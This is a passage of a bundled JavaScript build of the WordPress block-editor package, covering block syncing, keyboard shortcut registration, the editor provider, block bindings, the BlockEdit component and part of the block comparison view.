33312 } else {
33313 if (subscribedRef.current) {
33314 pendingChangesRef.current.incoming = controlledBlocks;
33315 }
33316 resetBlocks(controlledBlocks);
33317 }
33318 };
33319 const unsetControlledBlocks = () => {
33320 __unstableMarkNextChangeAsNotPersistent();
33321 if (clientId) {
33322 setHasControlledInnerBlocks(clientId, false);
33323 __unstableMarkNextChangeAsNotPersistent();
33324 replaceInnerBlocks(clientId, []);
33325 } else {
33326 resetBlocks([]);
33327 }
33328 };
33329 const onInputRef = (0,external_wp_element_namespaceObject.useRef)(onInput);
33330 const onChangeRef = (0,external_wp_element_namespaceObject.useRef)(onChange);
33331 (0,external_wp_element_namespaceObject.useEffect)(() => {
33332 onInputRef.current = onInput;
33333 onChangeRef.current = onChange;
33334 }, [onInput, onChange]);
33335 (0,external_wp_element_namespaceObject.useEffect)(() => {
33336 if (pendingChangesRef.current.outgoing.includes(controlledBlocks)) {
33337 if (pendingChangesRef.current.outgoing[pendingChangesRef.current.outgoing.length - 1] === controlledBlocks) {
33338 pendingChangesRef.current.outgoing = [];
33339 }
33340 } else if (getBlocks(clientId) !== controlledBlocks) {
33341 pendingChangesRef.current.outgoing = [];
33342 setControlledBlocks();
33343 if (controlledSelection) {
33344 resetSelection(
33345 controlledSelection.selectionStart,
33346 controlledSelection.selectionEnd,
33347 controlledSelection.initialPosition
33348 );
33349 }
33350 }
33351 }, [controlledBlocks, clientId]);
33352 const isMountedRef = (0,external_wp_element_namespaceObject.useRef)(false);
33353 (0,external_wp_element_namespaceObject.useEffect)(() => {
33354 if (!isMountedRef.current) {
33355 isMountedRef.current = true;
33356 return;
33357 }
33358 if (!isControlled) {
33359 pendingChangesRef.current.outgoing = [];
33360 setControlledBlocks();
33361 }
33362 }, [isControlled]);
33363 (0,external_wp_element_namespaceObject.useEffect)(() => {
33364 const {
33365 getSelectedBlocksInitialCaretPosition,
33366 isLastBlockChangePersistent,
33367 __unstableIsLastBlockChangeIgnored,
33368 areInnerBlocksControlled
33369 } = registry.select(store);
33370 let blocks = getBlocks(clientId);
33371 let isPersistent = isLastBlockChangePersistent();
33372 let previousAreBlocksDifferent = false;
33373 subscribedRef.current = true;
33374 const unsubscribe = registry.subscribe(() => {
33375 if (clientId !== null && getBlockName(clientId) === null) {
33376 return;
33377 }
33378 const isStillControlled = !clientId || areInnerBlocksControlled(clientId);
33379 if (!isStillControlled) {
33380 return;
33381 }
33382 const newIsPersistent = isLastBlockChangePersistent();
33383 const newBlocks = getBlocks(clientId);
33384 const areBlocksDifferent = newBlocks !== blocks;
33385 blocks = newBlocks;
33386 if (areBlocksDifferent && (pendingChangesRef.current.incoming || __unstableIsLastBlockChangeIgnored())) {
33387 pendingChangesRef.current.incoming = null;
33388 isPersistent = newIsPersistent;
33389 return;
33390 }
33391 const didPersistenceChange = previousAreBlocksDifferent && !areBlocksDifferent && newIsPersistent && !isPersistent;
33392 if (areBlocksDifferent || didPersistenceChange) {
33393 isPersistent = newIsPersistent;
33394 pendingChangesRef.current.outgoing.push(blocks);
33395 const updateParent = isPersistent ? onChangeRef.current : onInputRef.current;
33396 updateParent(blocks, {
33397 selection: {
33398 selectionStart: getSelectionStart(),
33399 selectionEnd: getSelectionEnd(),
33400 initialPosition: getSelectedBlocksInitialCaretPosition()
33401 }
33402 });
33403 }
33404 previousAreBlocksDifferent = areBlocksDifferent;
33405 }, store);
33406 return () => {
33407 subscribedRef.current = false;
33408 unsubscribe();
33409 };
33410 }, [registry, clientId]);
33411 (0,external_wp_element_namespaceObject.useEffect)(() => {
33412 return () => {
33413 unsetControlledBlocks();
33414 };
33415 }, []);
33416}
33417
33418
33419;// external ["wp","keyboardShortcuts"]
33420const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
33421;// ./node_modules/@wordpress/block-editor/build-module/components/keyboard-shortcuts/index.js
33422
33423
33424
33425
33426function KeyboardShortcuts() {
33427 return null;
33428}
33429function KeyboardShortcutsRegister() {
33430 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
33431 (0,external_wp_element_namespaceObject.useEffect)(() => {
33432 registerShortcut({
33433 name: "core/block-editor/copy",
33434 category: "block",
33435 description: (0,external_wp_i18n_namespaceObject.__)("Copy the selected block(s)."),
33436 keyCombination: {
33437 modifier: "primary",
33438 character: "c"
33439 }
33440 });
33441 registerShortcut({
33442 name: "core/block-editor/cut",
33443 category: "block",
33444 description: (0,external_wp_i18n_namespaceObject.__)("Cut the selected block(s)."),
33445 keyCombination: {
33446 modifier: "primary",
33447 character: "x"
33448 }
33449 });
33450 registerShortcut({
33451 name: "core/block-editor/paste",
33452 category: "block",
33453 description: (0,external_wp_i18n_namespaceObject.__)("Paste the selected block(s)."),
33454 keyCombination: {
33455 modifier: "primary",
33456 character: "v"
33457 }
33458 });
33459 registerShortcut({
33460 name: "core/block-editor/duplicate",
33461 category: "block",
33462 description: (0,external_wp_i18n_namespaceObject.__)("Duplicate the selected block(s)."),
33463 keyCombination: {
33464 modifier: "primaryShift",
33465 character: "d"
33466 }
33467 });
33468 registerShortcut({
33469 name: "core/block-editor/remove",
33470 category: "block",
33471 description: (0,external_wp_i18n_namespaceObject.__)("Remove the selected block(s)."),
33472 keyCombination: {
33473 modifier: "access",
33474 character: "z"
33475 }
33476 });
33477 registerShortcut({
33478 name: "core/block-editor/paste-styles",
33479 category: "block",
33480 description: (0,external_wp_i18n_namespaceObject.__)(
33481 "Paste the copied style to the selected block(s)."
33482 ),
33483 keyCombination: {
33484 modifier: "primaryAlt",
33485 character: "v"
33486 }
33487 });
33488 registerShortcut({
33489 name: "core/block-editor/insert-before",
33490 category: "block",
33491 description: (0,external_wp_i18n_namespaceObject.__)(
33492 "Insert a new block before the selected block(s)."
33493 ),
33494 keyCombination: {
33495 modifier: "primaryAlt",
33496 character: "t"
33497 }
33498 });
33499 registerShortcut({
33500 name: "core/block-editor/insert-after",
33501 category: "block",
33502 description: (0,external_wp_i18n_namespaceObject.__)(
33503 "Insert a new block after the selected block(s)."
33504 ),
33505 keyCombination: {
33506 modifier: "primaryAlt",
33507 character: "y"
33508 }
33509 });
33510 registerShortcut({
33511 name: "core/block-editor/delete-multi-selection",
33512 category: "block",
33513 description: (0,external_wp_i18n_namespaceObject.__)("Delete selection."),
33514 keyCombination: {
33515 character: "del"
33516 },
33517 aliases: [
33518 {
33519 character: "backspace"
33520 }
33521 ]
33522 });
33523 registerShortcut({
33524 name: "core/block-editor/select-all",
33525 category: "selection",
33526 description: (0,external_wp_i18n_namespaceObject.__)(
33527 "Select all text when typing. Press again to select all blocks."
33528 ),
33529 keyCombination: {
33530 modifier: "primary",
33531 character: "a"
33532 }
33533 });
33534 registerShortcut({
33535 name: "core/block-editor/unselect",
33536 category: "selection",
33537 description: (0,external_wp_i18n_namespaceObject.__)("Clear selection."),
33538 keyCombination: {
33539 character: "escape"
33540 }
33541 });
33542 registerShortcut({
33543 name: "core/block-editor/multi-text-selection",
33544 category: "selection",
33545 description: (0,external_wp_i18n_namespaceObject.__)("Select text across multiple blocks."),
33546 keyCombination: {
33547 modifier: "shift",
33548 character: "arrow"
33549 }
33550 });
33551 registerShortcut({
33552 name: "core/block-editor/focus-toolbar",
33553 category: "global",
33554 description: (0,external_wp_i18n_namespaceObject.__)("Navigate to the nearest toolbar."),
33555 keyCombination: {
33556 modifier: "alt",
33557 character: "F10"
33558 }
33559 });
33560 registerShortcut({
33561 name: "core/block-editor/move-up",
33562 category: "block",
33563 description: (0,external_wp_i18n_namespaceObject.__)("Move the selected block(s) up."),
33564 keyCombination: {
33565 modifier: "secondary",
33566 character: "t"
33567 }
33568 });
33569 registerShortcut({
33570 name: "core/block-editor/move-down",
33571 category: "block",
33572 description: (0,external_wp_i18n_namespaceObject.__)("Move the selected block(s) down."),
33573 keyCombination: {
33574 modifier: "secondary",
33575 character: "y"
33576 }
33577 });
33578 registerShortcut({
33579 name: "core/block-editor/collapse-list-view",
33580 category: "list-view",
33581 description: (0,external_wp_i18n_namespaceObject.__)("Collapse all other items."),
33582 keyCombination: {
33583 modifier: "alt",
33584 character: "l"
33585 }
33586 });
33587 registerShortcut({
33588 name: "core/block-editor/group",
33589 category: "block",
33590 description: (0,external_wp_i18n_namespaceObject.__)(
33591 "Create a group block from the selected multiple blocks."
33592 ),
33593 keyCombination: {
33594 modifier: "primary",
33595 character: "g"
33596 }
33597 });
33598 registerShortcut({
33599 name: "core/block-editor/toggle-block-visibility",
33600 category: "block",
33601 description: (0,external_wp_i18n_namespaceObject.__)("Show or hide the selected block(s)."),
33602 keyCombination: {
33603 modifier: "primaryShift",
33604 character: "h"
33605 }
33606 });
33607 }, [registerShortcut]);
33608 return null;
33609}
33610KeyboardShortcuts.Register = KeyboardShortcutsRegister;
33611var keyboard_shortcuts_default = KeyboardShortcuts;
33612
33613
33614;// ./node_modules/@wordpress/block-editor/build-module/components/provider/use-media-upload-settings.js
33615
33616function useMediaUploadSettings(settings = {}) {
33617 return (0,external_wp_element_namespaceObject.useMemo)(
33618 () => ({
33619 mediaUpload: settings.mediaUpload,
33620 mediaSideload: settings.mediaSideload,
33621 maxUploadFileSize: settings.maxUploadFileSize,
33622 allowedMimeTypes: settings.allowedMimeTypes
33623 }),
33624 [settings]
33625 );
33626}
33627var use_media_upload_settings_default = useMediaUploadSettings;
33628
33629
33630;// ./node_modules/@wordpress/block-editor/build-module/components/provider/index.js
33631
33632
33633
33634
33635
33636
33637
33638
33639
33640
33641
33642
33643const provider_noop = () => {
33644};
33645function mediaUpload(registry, {
33646 allowedTypes,
33647 additionalData = {},
33648 filesList,
33649 onError = provider_noop,
33650 onFileChange,
33651 onSuccess,
33652 onBatchSuccess
33653}) {
33654 void registry.dispatch(store_store).addItems({
33655 files: filesList,
33656 onChange: onFileChange,
33657 onSuccess,
33658 onBatchSuccess,
33659 onError: ({ message }) => onError(message),
33660 additionalData,
33661 allowedTypes
33662 });
33663}
33664const ExperimentalBlockEditorProvider = with_registry_provider_with_registry_provider_default(
33665 (props) => {
33666 const {
33667 settings: _settings,
33668 registry,
33669 stripExperimentalSettings = false
33670 } = props;
33671 const mediaUploadSettings = use_media_upload_settings_default(_settings);
33672 let settings = _settings;
33673 if (window.__experimentalMediaProcessing && _settings.mediaUpload) {
33674 settings = (0,external_wp_element_namespaceObject.useMemo)(
33675 () => ({
33676 ..._settings,
33677 mediaUpload: mediaUpload.bind(null, registry)
33678 }),
33679 [_settings, registry]
33680 );
33681 }
33682 const { __experimentalUpdateSettings } = unlock(
33683 (0,external_wp_data_namespaceObject.useDispatch)(store)
33684 );
33685 (0,external_wp_element_namespaceObject.useEffect)(() => {
33686 __experimentalUpdateSettings(
33687 {
33688 ...settings,
33689 __internalIsInitialized: true
33690 },
33691 {
33692 stripExperimentalSettings,
33693 reset: true
33694 }
33695 );
33696 }, [
33697 settings,
33698 stripExperimentalSettings,
33699 __experimentalUpdateSettings
33700 ]);
33701 useBlockSync(props);
33702 const children = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SlotFillProvider, { passthrough: true, children: [
33703 !settings?.isPreviewMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts_default.Register, {}),
33704 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRefsProvider, { children: props.children })
33705 ] });
33706 if (window.__experimentalMediaProcessing) {
33707 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33708 provider_default,
33709 {
33710 settings: mediaUploadSettings,
33711 useSubRegistry: false,
33712 children
33713 }
33714 );
33715 }
33716 return children;
33717 }
33718);
33719const BlockEditorProvider = (props) => {
33720 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalBlockEditorProvider, { ...props, stripExperimentalSettings: true, children: props.children });
33721};
33722var provider_provider_default = BlockEditorProvider;
33723
33724
33725;// ./node_modules/@wordpress/block-editor/build-module/components/block-context/index.js
33726
33727
33728const block_context_Context = (0,external_wp_element_namespaceObject.createContext)({});
33729block_context_Context.displayName = "BlockContext";
33730function BlockContextProvider({ value, children }) {
33731 const context = (0,external_wp_element_namespaceObject.useContext)(block_context_Context);
33732 const nextValue = (0,external_wp_element_namespaceObject.useMemo)(
33733 () => ({ ...context, ...value }),
33734 [context, value]
33735 );
33736 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_context_Context.Provider, { value: nextValue, children });
33737}
33738var block_context_default = block_context_Context;
33739
33740
33741;// ./node_modules/@wordpress/block-editor/build-module/utils/block-bindings.js
33742
33743
33744
33745const DEFAULT_ATTRIBUTE = "__default";
33746const PATTERN_OVERRIDES_SOURCE = "core/pattern-overrides";
33747function isObjectEmpty(object) {
33748 return !object || Object.keys(object).length === 0;
33749}
33750function hasPatternOverridesDefaultBinding(bindings) {
33751 return bindings?.[DEFAULT_ATTRIBUTE]?.source === PATTERN_OVERRIDES_SOURCE;
33752}
33753function replacePatternOverridesDefaultBinding(bindings, supportedAttributes) {
33754 if (hasPatternOverridesDefaultBinding(bindings)) {
33755 const bindingsWithDefaults = {};
33756 for (const attributeName of supportedAttributes) {
33757 const bindingSource = bindings[attributeName] ? bindings[attributeName] : { source: PATTERN_OVERRIDES_SOURCE };
33758 bindingsWithDefaults[attributeName] = bindingSource;
33759 }
33760 return bindingsWithDefaults;
33761 }
33762 return bindings;
33763}
33764function useBlockBindingsUtils(clientId) {
33765 const { clientId: contextClientId } = useBlockEditContext();
33766 const blockClientId = clientId || contextClientId;
33767 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
33768 const { getBlockAttributes } = (0,external_wp_data_namespaceObject.useRegistry)().select(store);
33769 const updateBlockBindings = (bindings) => {
33770 const { metadata: { bindings: currentBindings, ...metadata } = {} } = getBlockAttributes(blockClientId);
33771 const newBindings = { ...currentBindings };
33772 Object.entries(bindings).forEach(([attribute, binding]) => {
33773 if (!binding && newBindings[attribute]) {
33774 delete newBindings[attribute];
33775 return;
33776 }
33777 newBindings[attribute] = binding;
33778 });
33779 const newMetadata = {
33780 ...metadata,
33781 bindings: newBindings
33782 };
33783 if (isObjectEmpty(newMetadata.bindings)) {
33784 delete newMetadata.bindings;
33785 }
33786 updateBlockAttributes(blockClientId, {
33787 metadata: isObjectEmpty(newMetadata) ? void 0 : newMetadata
33788 });
33789 };
33790 const removeAllBlockBindings = () => {
33791 const { metadata: { bindings, ...metadata } = {} } = getBlockAttributes(blockClientId);
33792 updateBlockAttributes(blockClientId, {
33793 metadata: isObjectEmpty(metadata) ? void 0 : metadata
33794 });
33795 };
33796 return { updateBlockBindings, removeAllBlockBindings };
33797}
33798
33799
33800;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/private-block-context.js
33801
33802const PrivateBlockContext = (0,external_wp_element_namespaceObject.createContext)({});
33803PrivateBlockContext.displayName = "PrivateBlockContext";
33804
33805
33806;// ./node_modules/@wordpress/block-editor/build-module/components/block-edit/edit.js
33807
33808
33809
33810
33811
33812
33813
33814
33815
33816
33817
33818const DEFAULT_BLOCK_CONTEXT = {};
33819const Edit = (props) => {
33820 const { name } = props;
33821 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
33822 if (!blockType) {
33823 return null;
33824 }
33825 const Component = blockType.edit || blockType.save;
33826 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props });
33827};
33828const EditWithFilters = (0,external_wp_components_namespaceObject.withFilters)("editor.BlockEdit")(Edit);
33829const EditWithGeneratedProps = (props) => {
33830 const { name, clientId, attributes, setAttributes } = props;
33831 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
33832 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
33833 const blockContext = (0,external_wp_element_namespaceObject.useContext)(block_context_default);
33834 const registeredSources = (0,external_wp_data_namespaceObject.useSelect)(
33835 (select) => unlock(select(external_wp_blocks_namespaceObject.store)).getAllBlockBindingsSources(),
33836 []
33837 );
33838 const { bindableAttributes } = (0,external_wp_element_namespaceObject.useContext)(PrivateBlockContext);
33839 const { blockBindings, context, hasPatternOverrides } = (0,external_wp_element_namespaceObject.useMemo)(() => {
33840 const computedContext = blockType?.usesContext ? Object.fromEntries(
33841 Object.entries(blockContext).filter(
33842 ([key]) => blockType.usesContext.includes(key)
33843 )
33844 ) : DEFAULT_BLOCK_CONTEXT;
33845 if (attributes?.metadata?.bindings) {
33846 Object.values(attributes?.metadata?.bindings || {}).forEach(
33847 (binding) => {
33848 registeredSources[binding?.source]?.usesContext?.forEach(
33849 (key) => {
33850 computedContext[key] = blockContext[key];
33851 }
33852 );
33853 }
33854 );
33855 }
33856 return {
33857 blockBindings: replacePatternOverridesDefaultBinding(
33858 attributes?.metadata?.bindings,
33859 bindableAttributes
33860 ),
33861 context: computedContext,
33862 hasPatternOverrides: hasPatternOverridesDefaultBinding(
33863 attributes?.metadata?.bindings
33864 )
33865 };
33866 }, [
33867 name,
33868 blockType?.usesContext,
33869 blockContext,
33870 attributes?.metadata?.bindings,
33871 registeredSources
33872 ]);
33873 const computedAttributes = (0,external_wp_data_namespaceObject.useSelect)(
33874 (select) => {
33875 if (!blockBindings) {
33876 return attributes;
33877 }
33878 const attributesFromSources = {};
33879 const blockBindingsBySource = /* @__PURE__ */ new Map();
33880 for (const [attributeName, binding] of Object.entries(
33881 blockBindings
33882 )) {
33883 const { source: sourceName, args: sourceArgs } = binding;
33884 const source = registeredSources[sourceName];
33885 if (!source || !bindableAttributes?.includes(attributeName)) {
33886 continue;
33887 }
33888 blockBindingsBySource.set(source, {
33889 ...blockBindingsBySource.get(source),
33890 [attributeName]: {
33891 args: sourceArgs
33892 }
33893 });
33894 }
33895 if (blockBindingsBySource.size) {
33896 for (const [source, bindings] of blockBindingsBySource) {
33897 let values = {};
33898 if (!source.getValues) {
33899 Object.keys(bindings).forEach((attr) => {
33900 values[attr] = source.label;
33901 });
33902 } else {
33903 values = source.getValues({
33904 select,
33905 context,
33906 clientId,
33907 bindings
33908 });
33909 }
33910 for (const [attributeName, value] of Object.entries(
33911 values
33912 )) {
33913 if (attributeName === "url" && (!value || !isURLLike(value))) {
33914 attributesFromSources[attributeName] = null;
33915 } else {
33916 attributesFromSources[attributeName] = value;
33917 }
33918 }
33919 }
33920 }
33921 return {
33922 ...attributes,
33923 ...attributesFromSources
33924 };
33925 },
33926 [
33927 attributes,
33928 bindableAttributes,
33929 blockBindings,
33930 clientId,
33931 context,
33932 name,
33933 registeredSources
33934 ]
33935 );
33936 const setBoundAttributes = (0,external_wp_element_namespaceObject.useCallback)(
33937 (nextAttributes) => {
33938 if (!blockBindings) {
33939 setAttributes(nextAttributes);
33940 return;
33941 }
33942 registry.batch(() => {
33943 const keptAttributes = { ...nextAttributes };
33944 const blockBindingsBySource = /* @__PURE__ */ new Map();
33945 for (const [attributeName, newValue] of Object.entries(
33946 keptAttributes
33947 )) {
33948 if (!blockBindings[attributeName] || !bindableAttributes?.includes(attributeName)) {
33949 continue;
33950 }
33951 const binding = blockBindings[attributeName];
33952 const source = registeredSources[binding?.source];
33953 if (!source?.setValues) {
33954 continue;
33955 }
33956 blockBindingsBySource.set(source, {
33957 ...blockBindingsBySource.get(source),
33958 [attributeName]: {
33959 args: binding.args,
33960 newValue
33961 }
33962 });
33963 delete keptAttributes[attributeName];
33964 }
33965 if (blockBindingsBySource.size) {
33966 for (const [
33967 source,
33968 bindings
33969 ] of blockBindingsBySource) {
33970 source.setValues({
33971 select: registry.select,
33972 dispatch: registry.dispatch,
33973 context,
33974 clientId,
33975 bindings
33976 });
33977 }
33978 }
33979 const hasParentPattern = !!context["pattern/overrides"];
33980 if (
33981 // Don't update non-connected attributes if the block is using pattern overrides
33982 // and the editing is happening while overriding the pattern (not editing the original).
33983 !(hasPatternOverrides && hasParentPattern) && Object.keys(keptAttributes).length
33984 ) {
33985 if (hasPatternOverrides) {
33986 delete keptAttributes.caption;
33987 delete keptAttributes.href;
33988 }
33989 setAttributes(keptAttributes);
33990 }
33991 });
33992 },
33993 [
33994 bindableAttributes,
33995 blockBindings,
33996 clientId,
33997 context,
33998 hasPatternOverrides,
33999 setAttributes,
34000 registeredSources,
34001 name,
34002 registry
34003 ]
34004 );
34005 if (!blockType) {
34006 return null;
34007 }
34008 if (blockType.apiVersion > 1) {
34009 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34010 EditWithFilters,
34011 {
34012 ...props,
34013 attributes: computedAttributes,
34014 context,
34015 setAttributes: setBoundAttributes
34016 }
34017 );
34018 }
34019 const generatedClassName = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "className", true) ? (0,external_wp_blocks_namespaceObject.getBlockDefaultClassName)(name) : null;
34020 const className = dist_clsx(
34021 generatedClassName,
34022 attributes?.className,
34023 props.className
34024 );
34025 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34026 EditWithFilters,
34027 {
34028 ...props,
34029 attributes: computedAttributes,
34030 className,
34031 context,
34032 setAttributes: setBoundAttributes
34033 }
34034 );
34035};
34036var edit_default = EditWithGeneratedProps;
34037
34038
34039;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
34040
34041
34042var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
34043
34044
34045;// ./node_modules/@wordpress/block-editor/build-module/components/warning/index.js
34046
34047
34048
34049
34050
34051function Warning({ className, actions, children, secondaryActions }) {
34052 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { display: "contents", all: "initial" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: dist_clsx(className, "block-editor-warning"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-warning__contents", children: [
34053 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-warning__message", children }),
34054 (actions?.length > 0 || secondaryActions) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-warning__actions", children: [
34055 actions?.length > 0 && actions.map((action, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34056 "span",
34057 {
34058 className: "block-editor-warning__action",
34059 children: action
34060 },
34061 i
34062 )),
34063 secondaryActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34064 external_wp_components_namespaceObject.DropdownMenu,
34065 {
34066 className: "block-editor-warning__secondary",
34067 icon: more_vertical_default,
34068 label: (0,external_wp_i18n_namespaceObject.__)("More options"),
34069 popoverProps: {
34070 placement: "bottom-end",
34071 className: "block-editor-warning__dropdown"
34072 },
34073 noIcons: true,
34074 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: secondaryActions.map(
34075 (item, pos) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34076 external_wp_components_namespaceObject.MenuItem,
34077 {
34078 onClick: item.onClick,
34079 children: item.title
34080 },
34081 pos
34082 )
34083 ) })
34084 }
34085 )
34086 ] })
34087 ] }) }) });
34088}
34089var warning_default = Warning;
34090
34091
34092;// ./node_modules/@wordpress/block-editor/build-module/components/block-edit/multiple-usage-warning.js
34093
34094
34095
34096
34097
34098
34099
34100function MultipleUsageWarning({
34101 originalBlockClientId,
34102 name,
34103 onReplace
34104}) {
34105 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
34106 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
34107 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34108 warning_default,
34109 {
34110 actions: [
34111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34112 external_wp_components_namespaceObject.Button,
34113 {
34114 __next40pxDefaultSize: true,
34115 variant: "secondary",
34116 onClick: () => selectBlock(originalBlockClientId),
34117 children: (0,external_wp_i18n_namespaceObject.__)("Find original")
34118 },
34119 "find-original"
34120 ),
34121 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34122 external_wp_components_namespaceObject.Button,
34123 {
34124 __next40pxDefaultSize: true,
34125 variant: "secondary",
34126 onClick: () => onReplace([]),
34127 children: (0,external_wp_i18n_namespaceObject.__)("Remove")
34128 },
34129 "remove"
34130 )
34131 ],
34132 children: [
34133 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("strong", { children: [
34134 blockType?.title,
34135 ": "
34136 ] }),
34137 (0,external_wp_i18n_namespaceObject.__)("This block can only be used once.")
34138 ]
34139 }
34140 );
34141}
34142
34143
34144;// ./node_modules/@wordpress/block-editor/build-module/components/block-edit/index.js
34145
34146
34147
34148
34149
34150
34151
34152function BlockEdit({
34153 mayDisplayControls,
34154 mayDisplayParentControls,
34155 blockEditingMode,
34156 isPreviewMode,
34157 // The remaining props are passed through the BlockEdit filters and are thus
34158 // public API!
34159 ...props
34160}) {
34161 const {
34162 name,
34163 isSelected,
34164 clientId,
34165 attributes = {},
34166 __unstableLayoutClassNames
34167 } = props;
34168 const { layout = null, metadata = {} } = attributes;
34169 const { bindings } = metadata;
34170 const layoutSupport = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "layout", false) || (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "__experimentalLayout", false);
34171 const { originalBlockClientId } = (0,external_wp_element_namespaceObject.useContext)(PrivateBlockContext);
34172 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34173 Provider,
34174 {
34175 value: (0,external_wp_element_namespaceObject.useMemo)(
34176 () => ({
34177 name,
34178 isSelected,
34179 clientId,
34180 layout: layoutSupport ? layout : null,
34181 __unstableLayoutClassNames,
34182 // We use symbols in favour of an __unstable prefix to avoid
34183 // usage outside of the package (this context is exposed).
34184 [mayDisplayControlsKey]: mayDisplayControls,
34185 [mayDisplayParentControlsKey]: mayDisplayParentControls,
34186 [blockEditingModeKey]: blockEditingMode,
34187 [blockBindingsKey]: bindings,
34188 [isPreviewModeKey]: isPreviewMode
34189 }),
34190 [
34191 name,
34192 isSelected,
34193 clientId,
34194 layoutSupport,
34195 layout,
34196 __unstableLayoutClassNames,
34197 mayDisplayControls,
34198 mayDisplayParentControls,
34199 blockEditingMode,
34200 bindings,
34201 isPreviewMode
34202 ]
34203 ),
34204 children: [
34205 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(edit_default, { ...props }),
34206 originalBlockClientId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34207 MultipleUsageWarning,
34208 {
34209 originalBlockClientId,
34210 name,
34211 onReplace: props.onReplace
34212 }
34213 )
34214 ]
34215 }
34216 );
34217}
34218
34219
34220// EXTERNAL MODULE: ./node_modules/diff/lib/diff/character.js
34221var character = __webpack_require__(8021);
34222;// ./node_modules/@wordpress/block-editor/build-module/components/block-compare/block-view.js
34223
34224
34225
34226
34227function BlockView({
34228 title,
34229 rawContent,
34230 renderedContent,
34231 action,
34232 actionText,
34233 className
34234}) {
34235 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className, children: [
34236 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-compare__content", children: [
34237 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-editor-block-compare__heading", children: title }),
34238 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-compare__html", children: rawContent }),
34239 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-compare__preview edit-post-visual-editor", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: (0,external_wp_dom_namespaceObject.safeHTML)(renderedContent) }) })
34240 ] }),
34241 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-compare__action", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34242 external_wp_components_namespaceObject.Button,
34243 {
34244 __next40pxDefaultSize: true,
34245 variant: "secondary",
34246 tabIndex: "0",
34247 onClick: action,
34248 children: actionText
34249 }
34250 ) })
34251 ] });
34252}
34253
34254
34255;// ./node_modules/@wordpress/block-editor/build-module/components/block-compare/index.js
34256
34257
34258
34259
34260
34261
34262function BlockCompare({
34263 block,
34264 onKeep,
34265 onConvert,
34266 convertor,
34267 convertButtonText
34268}) {
34269 function getDifference(originalContent, newContent) {
34270 const difference2 = (0,character/* diffChars */.JJ)(originalContent, newContent);
34271 return difference2.map((item, pos) => {
34272 const classes = dist_clsx({
34273 "block-editor-block-compare__added": item.added,
34274 "block-editor-block-compare__removed": item.removed
34275 });
34276 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: classes, children: item.value }, pos);
34277 });
34278 }
34279 function getConvertedContent(convertedBlock) {
